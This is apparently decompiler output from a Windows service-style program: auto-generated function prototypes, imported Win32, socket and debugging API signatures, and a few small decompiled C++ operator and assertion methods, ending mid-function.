_E7_43(); // idb void __cdecl _E10_20(); // idb void __cdecl _E13_19(); // idb void __cdecl _E16_14(); // idb void __cdecl _E19_13(); // idb void __cdecl _E22_9(); // idb void __cdecl _E25_9(); // idb void __cdecl _E28_7(); // idb void __cdecl _E31_8(); // idb void __cdecl _E34_6(); // idb void __cdecl _E37_5(); // idb void __cdecl _E40_5(); // idb void __cdecl _E43_5(); // idb void __cdecl _E46_6(); // idb void __cdecl _E49_6(); // idb void __cdecl _E52_2(); // idb void __cdecl _E55_2(); // idb void __cdecl _E58_2(); // idb void __cdecl _E61_2(); // idb void __cdecl _E64_2(); // idb void __cdecl _E67_1(); // idb void __cdecl _E70_2(); // idb void __cdecl _E73_1(); // idb void __cdecl _E76_2(); // idb void __cdecl _E79_1(); // idb void __cdecl _E82_1(); // idb void __cdecl _E85_1(); // idb void __cdecl _E88_1(); // idb void __cdecl _E4_79(); // idb void __cdecl _E8_27(); // idb void __cdecl _E5_44(); // idb void __cdecl _E2_21(); // idb void __cdecl _E5_45(); // idb void __cdecl _E8_28(); // idb void __cdecl _E11_22(); // idb void __cdecl _E14_9(); // idb void __cdecl _E17_13(); // idb void __cdecl _E20_4(); // idb void __cdecl _E23_5(); // idb void __cdecl _E26_3(); // idb void __cdecl _E29_4(); // idb void __cdecl _E32_2(); // idb void __cdecl _E35_1(); // idb void __cdecl _E38_1(); // idb void __cdecl _E41_0(); // idb void __cdecl _E44_1(); // idb void __cdecl _E47_1(); // idb void __cdecl _E50_0(); // idb void __cdecl _E53_1(); // idb void __cdecl _E56_1(); // idb void __cdecl _E59_1(); // idb void __cdecl _E62_1(); // idb void __cdecl _E65_1(); // idb void __cdecl _E68_0(); // idb void __cdecl _E71(); // idb void __cdecl _E74_0(); // idb void __cdecl _E77(); // idb void __cdecl _E80_0(); // idb void __cdecl _E83(); // idb void __cdecl _E86(); // idb void __cdecl _E89(); // idb void __cdecl _E92(); // idb void __cdecl _E95(); // idb void __cdecl _E98_0(); // idb void __cdecl _E101_0(); // idb void __cdecl _E104(); // idb void __cdecl _E107(); // idb void __cdecl _E110(); // idb void __cdecl _E113(); // idb void __cdecl _E116(); // idb void __cdecl _E119(); // idb void __cdecl _E122(); // idb void __cdecl _E125(); // idb void __cdecl _E128(); // idb void __cdecl _E131(); // idb void __cdecl _E134(); // idb void __cdecl _E137(); // idb void __cdecl _E140(); // idb void __cdecl _E143(); // idb void __cdecl _E146(); // idb void __cdecl _E149(); // idb void __cdecl _E152(); // idb void __cdecl _E176(); // idb void __cdecl _E173(); // idb void __cdecl _E2_22(); // idb void __cdecl _E4_80(); // idb void __cdecl _E5_46(); // idb void __cdecl _E8_29(); // idb void __cdecl _E11_23(); // idb void __cdecl _E14_10(); // idb void __cdecl _E17_14(); // idb void __cdecl _E20_5(); // idb void __cdecl _E23_6(); // idb void __cdecl _E26_4(); // idb void __cdecl _E29_5(); // idb void __cdecl _E32_3(); // idb void __cdecl _E35_2(); // idb void __cdecl _E5_47(); // idb void __cdecl _E67_2(); // idb void __cdecl _E69_1(); // idb void __cdecl _E4_81(); // idb void __cdecl _E7_44(); // idb void __cdecl _E10_21(); // idb void __cdecl _E13_20(); // idb void __cdecl _E16_15(); // idb void __cdecl _E19_14(); // idb void __cdecl _E22_10(); // idb void __cdecl _E25_10(); // idb void __cdecl _E28_8(); // idb void __cdecl _E31_9(); // idb void __cdecl _E34_7(); // idb void __cdecl _E37_6(); // idb void __cdecl _E40_6(); // idb void __cdecl _E43_6(); // idb void __cdecl _E46_7(); // idb void __cdecl _E49_7(); // idb void __cdecl _E52_3(); // idb void __cdecl _E55_3(); // idb void __cdecl _E58_3(); // idb void __cdecl _E61_3(); // idb void __cdecl _Instance(); // idb void __cdecl _ins(); // idb void __cdecl _E8_30(); // idb void __cdecl _E11_24(); // idb void __cdecl _E5_48(); // idb void __cdecl _E4_82(); // idb void __cdecl _E7_45(); // idb void __cdecl _E10_22(); // idb void __cdecl _E13_21(); // idb void __cdecl _E5_49(); // idb void __cdecl _E7_46(); // idb void __cdecl _E5_50(); // idb void __cdecl _E5_51(); // idb void __cdecl _E5_52(); // idb void __cdecl _E5_53(); // idb void __cdecl _E7_47(); // idb void __cdecl _E5_54(); // idb void __cdecl _E5_55(); // idb void __cdecl _E8_31(); // idb void __cdecl _E10_23(); // idb void __cdecl _E12_6(); // idb void __cdecl _E14_11(); // idb void __cdecl _E16_16(); // idb void __cdecl _E5_56(); // idb void __cdecl _E5_57(); // idb void __cdecl _E5_58(); // idb void __cdecl _E7_48(); // idb void __cdecl _E5_59(); // idb void __cdecl _E5_60(); // idb void __cdecl _E5_61(); // idb void __cdecl _E7_49(); // idb void __cdecl _E12_7(); // idb void __cdecl _E9_13(); // idb void __cdecl _E5_62(); // idb void __cdecl _E5_63(); // idb void __cdecl _E8_32(); // idb void __cdecl _E11_25(); // idb void __cdecl _E14_12(); // idb void __cdecl _E17_15(); // idb void __cdecl _E20_6(); // idb void __cdecl _E23_7(); // idb void __cdecl _E26_5(); // idb void __cdecl _E29_6(); // idb void __cdecl _E35_3(); // idb void __cdecl _E38_2(); // idb void __cdecl _E41_1(); // idb void __cdecl _E47_2(); // idb void __cdecl _E52_4(); // idb void __cdecl _E54_2(); // idb void __cdecl _E57_2(); // idb void __cdecl _E60_2(); // idb void __cdecl _E63_2(); // idb void __cdecl _E66_1(); // idb void __cdecl _E83_0(); // idb void __cdecl _E88_2(); // idb void __cdecl _E90_0(); // idb void __cdecl _E92_0(); // idb void __cdecl _E97_1(); // idb void __cdecl _E99_0(); // idb void __cdecl _E102_0(); // idb void __cdecl _E105_0(); // idb void __cdecl _E32_4(); // idb void __cdecl _E94_1(); // idb void __cdecl _E44_2(); // idb void __cdecl _E85_2(); // idb void __cdecl _E6_12(); // idb void __cdecl _E9_14(); // idb void __cdecl _E5_64(); // idb void __cdecl _E8_33(); // idb void __cdecl _E10_24(); // idb void __cdecl _E12_8(); // idb void __cdecl _E14_13(); // idb void __cdecl _E16_17(); // idb void __cdecl _E18_5(); // idb void __cdecl _E20_7(); // idb void __cdecl _E22_11(); // idb void __cdecl _E5_65(); // idb void __cdecl _E5_66(); // idb void __cdecl _E7_50(); // idb void __cdecl _E9_15(); // idb void __cdecl _E11_26(); // idb void __cdecl _E13_22(); // idb void __cdecl _E2_23(); // idb void __cdecl _E11_27(); // idb void __cdecl _E13_23(); // idb void __cdecl _E15_9(); // idb void __cdecl _E17_16(); // idb void __cdecl _E19_15(); // idb void __cdecl _E30_3(); // idb void __cdecl _E36_3(); // idb void __cdecl _E21_5(); // idb void __cdecl _E24_4(); // idb void __cdecl _E27_4(); // idb void __cdecl _E33_4(); // idb void __cdecl _E10_25(); // idb void __cdecl _E4_83(); // idb void __cdecl _E7_51(); // idb void __cdecl _E5_67(); // idb void __cdecl _E7_52(); // idb void __cdecl _E9_16(); // idb void __cdecl _E11_28(); // idb void __cdecl _E13_24(); // idb void __cdecl _E2_24(); // idb void __cdecl _E5_68(); // idb void __cdecl _E10_26(); // idb void __cdecl _E7_53(); // idb void __cdecl _E5_69(); // idb void __cdecl _E7_54(); // idb void __cdecl _E5_70(); // idb void __cdecl _E7_55(); // idb void __cdecl _E9_17(); // idb void __cdecl _E11_29(); // idb void __cdecl _E13_25(); // idb void __cdecl _E21_6(); // idb void __cdecl _E15_10(); // idb void __cdecl _E18_6(); // idb void __cdecl _E4_84(); // idb void __cdecl _E5_71(); // idb void __cdecl _E7_56(); // idb void __cdecl _E9_18(); // idb void __cdecl _E11_30(); // idb void __cdecl _E13_26(); // idb void __cdecl _E5_72(); // idb void __cdecl _E7_57(); // idb void __cdecl _E9_19(); // idb void __cdecl _E4_85(); // idb void __cdecl _E4_86(); // idb void __cdecl _E2_25(); // idb void __cdecl _E11_31(); // idb void __cdecl _E8_34(); // idb void __cdecl _E14_14(); // idb void __cdecl _E17_17(); // idb void __cdecl _E20_8(); // idb void __cdecl _E23_8(); // idb void __cdecl _E26_6(); // idb void __cdecl _E29_7(); // idb void __cdecl _E32_5(); // idb void __cdecl _E35_4(); // idb void __cdecl _E38_3(); // idb void __cdecl _E41_2(); // idb void __cdecl _E44_3(); // idb void __cdecl _E47_3(); // idb void __cdecl _E50_1(); // idb void __cdecl _E53_2(); // idb void __cdecl _E56_2(); // idb void __cdecl _E59_2(); // idb void __cdecl _E62_2(); // idb void __cdecl _E65_2(); // idb void __cdecl _E68_1(); // idb void __cdecl _E71_0(); // idb void __cdecl _E74_1(); // idb void __cdecl _E77_0(); // idb void __cdecl _E80_1(); // idb void __cdecl _E86_0(); // idb void __cdecl _E89_0(); // idb void __cdecl _E92_1(); // idb void __cdecl _E95_0(); // idb void __cdecl _E98_1(); // idb void __cdecl _E101_1(); // idb void __cdecl _E5_73(); // idb void __cdecl _E83_1(); // idb void __cdecl _E5_74(); // idb void __cdecl _E8_35(); // idb void __cdecl _E10_27(); // idb void __cdecl _E12_9(); // idb void __cdecl _E5_75(); // idb void __cdecl _E5_76(); // idb void __cdecl _E8_36(); // idb void __cdecl _E11_32(); // idb void __cdecl _E14_15(); // idb void __cdecl _E17_18(); // idb void __cdecl _E20_9(); // idb void __cdecl _E23_9(); // idb void __cdecl _E26_7(); // idb void __cdecl _E29_8(); // idb void __cdecl _E32_6(); // idb void __cdecl _E4_87(); // idb void __cdecl _E11_33(); // idb void __cdecl _E14_16(); // idb void __cdecl _E17_19(); // idb void __cdecl _E20_10(); // idb void __cdecl _E23_10(); // idb void __cdecl _E26_8(); // idb void __cdecl _E29_9(); // idb void __cdecl _E32_7(); // idb void __cdecl _E35_5(); // idb void __cdecl _E38_4(); // idb void __cdecl _E41_3(); // idb void __cdecl _E44_4(); // idb void __cdecl _E5_77(); // idb void __cdecl _E8_37(); // idb void __cdecl _E47_4(); // idb void __cdecl _E50_2(); // idb void __cdecl _E2_26(); // idb void __cdecl _E10_28(); // idb void __cdecl _E13_27(); // idb void __cdecl _E16_18(); // idb void __cdecl _E19_16(); // idb void __cdecl _E22_12(); // idb void __cdecl _E25_11(); // idb void __cdecl _E28_9(); // idb void __cdecl _E31_10(); // idb void __cdecl _E34_8(); // idb void __cdecl _E37_7(); // idb void __cdecl _E40_7(); // idb void __cdecl _E43_7(); // idb void __cdecl _E46_8(); // idb void __cdecl _E49_8(); // idb void __cdecl _E52_5(); // idb void __cdecl _E55_4(); // idb void __cdecl _E58_4(); // idb void __cdecl _E61_4(); // idb void __cdecl _E64_3(); // idb void __cdecl _E67_3(); // idb void __cdecl _E70_3(); // idb void __cdecl _E73_2(); // idb void __cdecl _E76_3(); // idb void __cdecl _E79_2(); // idb void __cdecl _E82_2(); // idb void __cdecl _E85_3(); // idb void __cdecl _E88_3(); // idb void __cdecl _E91_2(); // idb void __cdecl _E94_2(); // idb void __cdecl _E97_2(); // idb void __cdecl _E100_1(); // idb void __cdecl _E103_0(); // idb void __cdecl _E106_0(); // idb void __cdecl _E109_0(); // idb void __cdecl _E112_0(); // idb void __cdecl _E115_0(); // idb void __cdecl _E118_0(); // idb void __cdecl _E121_0(); // idb void __cdecl _E124_0(); // idb void __cdecl _E127_0(); // idb void __cdecl _E130_0(); // idb void __cdecl _E133_0(); // idb void __cdecl _E136_0(); // idb void __cdecl _E139_0(); // idb void __cdecl _E142_0(); // idb void __cdecl _E145_0(); // idb void __cdecl _E148_0(); // idb void __cdecl _E151_0(); // idb void __cdecl _E154_0(); // idb void __cdecl _E157(); // idb void __cdecl _E160_0(); // idb void __cdecl _E163(); // idb void __cdecl _E166_0(); // idb void __cdecl _E169(); // idb void __cdecl _E172_0(); // idb void __cdecl _E175_0(); // idb void __cdecl _E178(); // idb void __cdecl _E181(); // idb void __cdecl _E184(); // idb void __cdecl _E191(); // idb void __cdecl _E197(); // idb void __cdecl _E200(); // idb void __cdecl _E203(); // idb void __cdecl _E206(); // idb void __cdecl _E209(); // idb void __cdecl _E221(); // idb void __cdecl _E224(); // idb void __cdecl _E7_58(); // idb void __cdecl _E188(); // idb void __cdecl _E194(); // idb void __cdecl _E212(); // idb void __cdecl _E215(); // idb void __cdecl _E218(); // idb int __cdecl _E261(); int __cdecl _E259(); int __cdecl _E257(); int __cdecl _E255(); int __cdecl _E253(); int __cdecl _E251(); int __cdecl _E249(); int __cdecl _E247(); int __cdecl _E245(); int __cdecl _E243(); int __cdecl _E241(); int __cdecl _E239(); int __cdecl _E237(); int __cdecl _E235(); int __cdecl _E265(); int __cdecl _E263(); void __cdecl _E5_78(); // idb int __cdecl _E4_88(); int __cdecl _E4_89(); void __cdecl _E7_59(); // idb void __cdecl _E4_90(); // idb void __cdecl _E10_29(); // idb int __cdecl _E4_91(); void __cdecl _E2_27(); // idb void __cdecl _E5_79(); // idb void __cdecl _E4_92(); // idb void __cdecl _E5_80(); // idb void __cdecl _E2_28(); // idb void __cdecl _E5_81(); // idb void __cdecl _E4_93(); // idb void __cdecl _E10_30(); // idb void __cdecl _E7_60(); // idb void __cdecl _E2_29(); // idb void __cdecl _E2_30(); // idb void __cdecl _E5_82(); // idb void __cdecl _E8_38(); // idb void __cdecl _E2_31(); // idb void __cdecl _E2_32(); // idb void __cdecl _E2_33(); // idb void __cdecl _E2_34(); // idb void __cdecl _E5_83(); // idb void __cdecl _E8_39(); // idb void __cdecl _E2_35(); // idb void __cdecl _E2_36(); // idb void __cdecl _E5_84(); // idb void __cdecl _E8_40(); // idb void __cdecl _E11_34(); // idb void __cdecl _E14_17(); // idb void __cdecl _E17_20(); // idb void __cdecl _E20_11(); // idb void __cdecl _E23_11(); // idb void __cdecl _E26_9(); // idb void __cdecl _E29_10(); // idb void __cdecl _E32_8(); // idb void __cdecl _E35_6(); // idb void __cdecl _E38_5(); // idb void __cdecl _E41_4(); // idb void __cdecl _E44_5(); // idb void __cdecl _E47_5(); // idb void __cdecl _E50_3(); // idb void __cdecl _E2_37(); // idb void __cdecl _E5_85(); // idb void __cdecl _E2_38(); // idb void __cdecl _E2_39(); // idb void __cdecl _E2_40(); // idb void __cdecl _E2_41(); // idb void __cdecl _E2_42(); // idb void __cdecl _E2_43(); // idb void __cdecl _E2_44(); // idb void __cdecl _E5_86(); // idb // BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable); // SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc); // BOOL __stdcall CloseServiceHandle(SC_HANDLE hSCObject); // SC_HANDLE __stdcall CreateServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword); // SC_HANDLE __stdcall OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess); // BOOL __stdcall DeleteService(SC_HANDLE hService); // SC_HANDLE __stdcall OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess); // BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus); // BOOL __stdcall QueryServiceStatus(SC_HANDLE hService, LPSERVICE_STATUS lpServiceStatus); // DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize); // HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); // BOOL __stdcall DeleteFileA(LPCSTR lpFileName); // BOOL __stdcall FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData); // BOOL __stdcall FindClose(HANDLE hFindFile); // void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); // void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime); // void __stdcall Sleep(DWORD dwMilliseconds); // BOOL __stdcall QueryPerformanceFrequency(LARGE_INTEGER *lpFrequency); // BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount); // BOOL __stdcall SetLocalTime(const SYSTEMTIME *lpSystemTime); // HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData); // BOOL __stdcall SetEndOfFile(HANDLE hFile); // int __stdcall GetLocaleInfoW(LCID Locale, LCTYPE LCType, LPWSTR lpLCData, int cchData); // int __stdcall CompareStringW(LCID Locale, DWORD dwCmpFlags, PCNZWCH lpString1, int cchCount1, PCNZWCH lpString2, int cchCount2); // int __stdcall CompareStringA(LCID Locale, DWORD dwCmpFlags, PCNZCH lpString1, int cchCount1, PCNZCH lpString2, int cchCount2); // BOOL __stdcall SetStdHandle(DWORD nStdHandle, HANDLE hHandle); // BOOL __stdcall IsValidCodePage(UINT CodePage); // BOOL __stdcall IsValidLocale(LCID Locale, DWORD dwFlags); // BOOL __stdcall EnumSystemLocalesA(LOCALE_ENUMPROCA lpLocaleEnumProc, DWORD dwFlags); // LCID __stdcall GetUserDefaultLCID(); // int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData); // BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int cchSrc, LPWORD lpCharType); // BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType); // DWORD __stdcall GetFileType(HANDLE hFile); // UINT __stdcall SetHandleCount(UINT uNumber); // LPWCH __stdcall GetEnvironmentStringsW(); // BOOL __stdcall FreeEnvironmentStringsW(LPWCH); // LPCH __stdcall GetEnvironmentStrings(); // BOOL __stdcall FreeEnvironmentStringsA(LPCH); // LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo); // HANDLE __stdcall GetStdHandle(DWORD nStdHandle); // BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); // UINT __stdcall GetOEMCP(); // BOOL __stdcall IsBadWritePtr(LPVOID lp, UINT_PTR ucb); // LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); // BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); // HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize); // BOOL __stdcall HeapDestroy(HANDLE hHeap); // SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); // BOOL __stdcall FlushFileBuffers(HANDLE hFile); // DWORD __stdcall GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation); // SIZE_T __stdcall HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem); // LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); // DWORD __stdcall GetLastError(); // BOOL __stdcall CloseHandle(HANDLE hObject); // HANDLE __stdcall GetCurrentProcess(); // DWORD __stdcall GetCurrentProcessId(); // DWORD __stdcall GetCurrentThreadId(); // HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); // FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName); // HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName); // LPTOP_LEVEL_EXCEPTION_FILTER __stdcall SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter); // DWORD __stdcall FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments); // void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime); // int __stdcall GetTimeFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCSTR lpFormat, LPSTR lpTimeStr, int cchTime); // UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName); // BOOL __stdcall GetExitCodeProcess(HANDLE hProcess, LPDWORD lpExitCode); // DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); // BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); // void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); // BOOL __stdcall PostQueuedCompletionStatus(HANDLE CompletionPort, DWORD dwNumberOfBytesTransferred, ULONG_PTR dwCompletionKey, LPOVERLAPPED lpOverlapped); // BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); // HANDLE __stdcall CreateIoCompletionPort(HANDLE FileHandle, HANDLE ExistingCompletionPort, ULONG_PTR CompletionKey, DWORD NumberOfConcurrentThreads); // BOOL __stdcall GetQueuedCompletionStatus(HANDLE CompletionPort, LPDWORD lpNumberOfBytesTransferred, PULONG_PTR lpCompletionKey, LPOVERLAPPED *lpOverlapped, DWORD dwMilliseconds); // BOOL __stdcall SetCurrentDirectoryA(LPCSTR lpPathName); // DWORD __stdcall GetCurrentDirectoryA(DWORD nBufferLength, LPSTR lpBuffer); // BOOL __stdcall SetEvent(HANDLE hEvent); // HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); // int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); // int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar); // UINT __stdcall GetACP(); // void __stdcall OutputDebugStringA(LPCSTR lpOutputString); // BOOL __stdcall IsBadReadPtr(const void *lp, UINT_PTR ucb); // BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); // BOOL __stdcall IsBadCodePtr(FARPROC lpfn); // LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength); // int __stdcall lstrlenA(LPCSTR lpString); // HANDLE __stdcall GetCurrentThread(); // HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName); // BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem); // LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); // void __stdcall SetLastError(DWORD dwErrCode); // LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value); // BOOL __stdcall SwitchToThread(); // LONG __stdcall InterlockedCompareExchange(volatile LONG *Destination, LONG Exchange, LONG Comperand); // LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend); // LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend); // DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); // BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime); // DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh); // void __stdcall ExitProcess(UINT uExitCode); // void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments); // BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode); // void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime); // BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime); // BOOL __stdcall FileTimeToLocalFileTime(const FILETIME *lpFileTime, LPFILETIME lpLocalFileTime); // BOOL __stdcall SetEnvironmentVariableA(LPCSTR lpName, LPCSTR lpValue); // void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo); // void __stdcall ExitThread(DWORD dwExitCode); // DWORD __stdcall GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart); // int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest); // int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest); // BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo); // DWORD __stdcall TlsAlloc(); // BOOL __stdcall TlsFree(DWORD dwTlsIndex); // BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue); // LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex); // DWORD __stdcall GetTickCount(); // int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); // int _wsprintfA(LPSTR, LPCSTR, ...); // DWORD __stdcall timeGetTime(); // int __stdcall getsockopt(SOCKET s, int level, int optname, char *optval, int *optlen); // int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp); // int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen); // int __stdcall listen(SOCKET s, int backlog); // int __stdcall getsockname(SOCKET s, struct sockaddr *name, int *namelen); // int __stdcall WSACleanup(); // int __stdcall select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout); // int __stdcall closesocket(SOCKET s); // SOCKET __stdcall socket(int af, int type, int protocol); // unsigned __int32 __stdcall inet_addr(const char *cp); // u_short __stdcall htons(u_short hostshort); // int __stdcall connect(SOCKET s, const struct sockaddr *name, int namelen); // int __stdcall WSAGetLastError(); // int __stdcall getpeername(SOCKET s, struct sockaddr *name, int *namelen); // char *__stdcall inet_ntoa(struct in_addr in); // int __stdcall shutdown(SOCKET s, int how); // int __stdcall setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen); // u_short __stdcall ntohs(u_short netshort); // SOCKET __stdcall accept(SOCKET s, struct sockaddr *addr, int *addrlen); // BOOL __stdcall MakeSureDirectoryPathExists(PCSTR DirPath); // BOOL __stdcall SymInitialize(HANDLE hProcess, PCSTR UserSearchPath, BOOL fInvadeProcess); // DWORD __stdcall SymSetOptions(DWORD SymOptions); // DWORD __stdcall SymGetOptions(); // BOOL __stdcall SymCleanup(HANDLE hProcess); // BOOL __stdcall SymGetLineFromAddr64(HANDLE hProcess, DWORD64 qwAddr, PDWORD pdwDisplacement, PIMAGEHLP_LINE64 Line64); // BOOL __stdcall SymGetSymFromAddr64(HANDLE hProcess, DWORD64 qwAddr, PDWORD64 pdwDisplacement, PIMAGEHLP_SYMBOL64 Symbol); // BOOL __stdcall StackWalk64(DWORD MachineType, HANDLE hProcess, HANDLE hThread, LPSTACKFRAME64 StackFrame, PVOID ContextRecord, PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine, PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine, PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine, PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress); //----- (00401000) -------------------------------------------------------- int __thiscall Name3::operator__(Name3 *this, Name3 *nm) { return *(_DWORD *)&this->n3_name[0] != *(_DWORD *)&nm->n3_name[0] || *(_DWORD *)&this->n3_name[4] != *(_DWORD *)&nm->n3_name[4] || *(_DWORD *)&this->n3_name[8] != *(_DWORD *)&nm->n3_name[8]; } //----- (00401030) -------------------------------------------------------- int __thiscall Name4::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); result = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 12) = result; return result; } //----- (00401050) -------------------------------------------------------- int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag) { if ( !condition ) AssertClass::ac_AssertFail(this, message, flag); return condition == 0; } //----- (00401080) -------------------------------------------------------- int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag1, int flag2) { if ( !condition ) AssertClass::ac_AssertFail(this, message, flag1, flag2); return condition == 0; } //----- (004010B0) -------------------------------------------------------- char __thiscall Metronome::operator unsigned_char(Metronome *this) { char result; // al@2 if ( 